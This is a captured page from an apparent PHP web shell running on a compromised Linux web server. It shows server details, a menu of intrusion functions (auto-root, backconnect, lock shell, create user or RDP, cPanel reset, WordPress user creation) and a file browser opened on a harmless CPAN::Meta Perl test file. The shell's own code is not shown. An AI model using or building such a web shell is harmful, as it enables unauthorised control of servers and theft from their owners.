Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.137.184.92
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-CPAN-Meta-2.120921 /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
data
[ DIR ]
drwxr-xr-x
data-bad
[ DIR ]
drwxr-xr-x
data-fail
[ DIR ]
drwxr-xr-x
00-compile.t
1.57
KB
-rw-r--r--
converter-bad.t
2.63
KB
-rw-r--r--
converter-fail.t
1.09
KB
-rw-r--r--
converter.t
8.02
KB
-rw-r--r--
load-bad.t
789
B
-rw-r--r--
meta-obj.t
5.7
KB
-rw-r--r--
no-index.t
1.72
KB
-rw-r--r--
prereqs-finalize.t
2.17
KB
-rw-r--r--
prereqs-merge.t
1.94
KB
-rw-r--r--
prereqs.t
2.55
KB
-rw-r--r--
repository.t
4.3
KB
-rw-r--r--
save-load.t
2.85
KB
-rw-r--r--
strings.t
2.26
KB
-rw-r--r--
validator.t
940
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : converter-fail.t
use strict; use warnings; use Test::More 0.88; use CPAN::Meta; use CPAN::Meta::Validator; use CPAN::Meta::Converter; use File::Spec; use IO::Dir; use Parse::CPAN::Meta 1.4400; delete $ENV{$_} for qw/PERL_JSON_BACKEND PERL_YAML_BACKEND/; # use defaults my $data_dir = IO::Dir->new( 't/data-fail' ); my @files = sort grep { /^\w/ } $data_dir->read; sub _spec_version { return $_[0]->{'meta-spec'}{version} || "1.0" } use Data::Dumper; for my $f ( reverse sort @files ) { my $path = File::Spec->catfile('t','data-fail',$f); my $original = Parse::CPAN::Meta->load_file( $path ); ok( $original, "loaded invalid $f" ); my $original_v = _spec_version($original); # UPCONVERSION if ( _spec_version( $original ) lt '2' ) { my $cmc = CPAN::Meta::Converter->new( $original ); eval { $cmc->convert( version => 2 ) }; ok ( $@, "error thrown up converting" ); } # DOWNCONVERSION if ( _spec_version( $original ) gt '1.0' ) { my $cmc = CPAN::Meta::Converter->new( $original ); eval { $cmc->convert( version => '1.0' ) }; ok ( $@, "error thrown down converting" ); } } done_testing;
Close